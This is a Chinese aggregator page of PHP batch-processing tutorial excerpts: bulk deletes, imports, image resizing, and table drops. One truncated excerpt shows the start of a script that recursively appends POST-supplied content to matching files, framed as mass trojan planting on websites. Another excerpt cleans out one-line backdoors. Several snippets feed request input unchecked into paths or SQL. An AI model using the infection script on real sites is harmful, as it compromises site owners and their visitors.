【如何批量输入数据,并执行?】教程文章相关的互联网学习教程文章

php批量删除数据

批量删除文章这个技术没什么高深莫测的,只是想写下来与大家分享。(适合初学者:) 1、首先在文章列表页面(list.php),将多选筐命名为:“$del_id[]”,值为文章ID号。 例如(list.php): <form name="del_form" action="del.php" method="post"> <?php $result=mysql_query("select * from news"); while($rs=mysql_fetch_array($result)){ ?> <input name="del_id[]" type="checkbox" id="de...

用php实现批量查询清除一句话后门的代码

总是忘记一句话放到哪个文件里去了,直接全部干掉... 代码如下:<?//xy7 if (!isset($dir) or empty($dir)) { $dir=str_replace('\\','/',dirname(__FILE__)); echo "<font color=\"#00688B\">".$dir."</font>"; } else { $dir=$_GET['dir']; echo "<font color=\"#00688B\">".$dir."</font>"; } $evilcode="<?phpinfo();//xy7?>"; $testdir = opendir($dir); while($filea = @readdir($testdir)){ if(strstr($filea, '...

使用PHP批量生成随机用户名

程序一:负责从字典中随机提取数据,写入一个新文件。(1.php) 代码如下:<?php /* 从字典文件中提取随机值 */ $file1 = "./Words.dic"; $file2 = "./common_pass_mini.dic"; $file3 = "./Sys_Month_Date.Dic"; $rfile = "./5.dic"; $n = 2000; //提取字典 $basef = file($file1); $extf = file($file2); $extf2 = file($file3); $bf_sum = (count($basef)-1); $ef_sum = (count($extf)-1); $ef2_sum =(count($extf2)-1); //获取随...

PHP 批量删除 sql语句

首先要了解sql语句 $SQL="delete from `jb51` where id in (1,2,4)"; 表单大概是: 代码如下:<form action="" method="post"> <input name="ID_Dele[]" type="checkbox" id="ID_Dele[]" value="1"/> <input name="ID_Dele[]" type="checkbox" id="ID_Dele[]" value="2"/> <input name="ID_Dele[]" type="checkbox" id="ID_Dele[]" value="3"/> <input name="ID_Dele[]" type="checkbox" id="ID_Dele[]" value="4"/> <input type="...

Discuz 6.0+ 批量注册用户名

1.将adduser.php复制到discuz根目录下; /--adduser.php内容如下--/ <? php require_once './include/common.inc.php '; //注册的名字 $user_list = file('./username.txt '); //注册的密码 $a = "12345678"; $pwd = md5($a); // 注册用户数(建议一万一下) $member_num = count($user_list); //设置运行时间 set_time_limit(3600 ); for($i=0;$i<$member_num;$i++) { $username = $user_list[$i]; $db->query("REPLACE INTO {$tabl...

PHP 批量删除数据的方法分析

大家可以参考下面的这篇文章//www.gxlcms.com/article/6488.htmSQL:$SQL="delete from `doing` where id in ('1,2,3,4')";   数据用逗号隔开。   表单: 代码如下:  <form action="?action=doing" method="post">   <input name="ID_Dele[]" type="checkbox" id="ID_Dele[]" value="1"/>   <input name="ID_Dele[]" type="checkbox" id="ID_Dele[]" value="2"/>   <input name="ID_Dele[]" type="checkbox" id="ID_D...

PHP 批量更新网页内容实现代码

代码如下:<?php $path=$DOCUMENT_ROOT; $path=str_replace("/","\\",$path); //指定文件夹 $path=$path."\\web\\study\\"; //得到所有文件 $s=explode("\n",trim(`dir/b/o:gn $path`)); //得到文件夹下的所有HTML文件名 $num=count($s); for($i=0;$i<=$num;$i++){ if(strpos($s[$i],".htm")==0){ unset($s[$i]); } } //print_r($s); //批处理网页 foreach($s as $value){ editfile("D:\\MYOA\\webroot\\web\\study\\".$value); ech...

php中使用ExcelFileParser处理excel获得数据(可作批量导入到数据库使用)

代码如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Excel数据获取演示</title> <meta name="Keywords" content="TODO" /> <meta name="Description" content="TODO"/> </head> <body> <div> <div>Excel数...

批量修改RAR文件注释的php代码

我们打开WINRAR的帮助文件,帮助文件中提到了在命令行模式下修改RAR文件注释及添加压缩文档的两个参数分别为A\C,WINRAR的说明文件如下: 从当前文件夹添加全部 *.hlp 文件到压缩文件 help.rar 中 WinRAR a help *.hlp 从文件添加注释可以使用 -z<文件> 开关。 WinRAR c -zinfo.txt dummy 这样,我们就可以通过PHP调用CMD,运行上述两个WINRAR参数来做到批量修改RAR文件的注释及添加压缩包的文件.需要注意的是,PHP在安全模式打开的情况下...

php批量缩放图片的代码[ini参数控制]

首先使用一个ini文件来设置要缩放的大小,其中为宽或高0的则为图片放大或缩小,都为0则还是原大小,都不为0都拉抻成指定的大小。 注意:ini文件使用php解释时为注释文件,什么也没有输出,这是为了安全起见而故意为之。而;则是ini文件的注释。 我设置的ini文件例子如下: 代码如下:<?php /* ;Translate the image format using the original image size [Translation] width=0 height=0 ;Stretch the image to the specified size...

php下批量挂马和批量清马代码

代码如下:<?php function gmfun($path=”.”) { $d = @dir($path); while(false !== ($v = $d->read())) { if($v == “.” || $v == “..”) continue; $file = $d->path.”/”.$v; if(@is_dir($file)) { gmfun($file); } else { if(@ereg(stripslashes($_POST["key"]),$file)) { $mm=stripcslashes( trim( $_POST[mm] ) ); $handle = @fopen (”$file”, “a”); @fwrite($handle, “$mm”); @fclose($handle); echo “已挂马文件...

PHP大批量数据操作时临时调整内存与执行时间的方法

代码如下:ini_set('memory_limit', '250M'); //内存限制 set_time_limit(0); //

批量获取memcache值并按key的顺序返回的实现代码

通过memcached的getMulti函数来批量获取如下15个ID的值。 31639,33878,177410,9735,589,12076,25953,22447,15368,15358,33853,26658,26659,12477,15366 $md->getMulti($arr_id); 返回的顺序: line_31639,line_33878,line_177410,line_9735,line_589,line_12076,line_25953,line_22447,line_15368,line_15358,line_33853,line_26658,line_26659,line_12477,line_15366, 一台memcache时返回是正确的,在有多台memcache时就无法一一对...

php中批量删除Mysql中相同前缀的数据表的代码

方法一: 代码如下:<?php mysql_connect(,,); mysql_select_db(); $rs=mysql_query(show tables); while($arr=mysql_fetch_array($rs)){ $TF=strpos($arr[0],class_); if($TF===0){ $FT=mysql_query("drop table $arr[0]"); if($FT){ echo "$arr[0] 删除成功!<br>"; } } } ?> 方法二: 今天重装个站,搞了一下午,终于找到可以用的批量删除数据库表的方法。。。 这个是以xx_为前缀的示范,大家可以自己更改为想删除的表前缀 代...

如何批量替换相对地址为绝对地址(利用bat批处理实现)

如果你的url链接是相对路径“static/mapi.css”,你想把他批量替换成绝对路径“http://dev.baidu.com/wiki/static/map/cloud/static/mapi.css”。那么,你可以这样做: 写一个PHP文件,把需要替换的网址写进去。 这个代码的意思就是,把#BASE_URL#替换成 http://api.map.baidu.com/lbsapi/cloud/ 。 这句话的意思是,把resource文件里的内容替换一遍,然后放到cloud文件夹里。FileUtil::copyDir("resource","cloud",true); 代码如...

执行 - 相关标签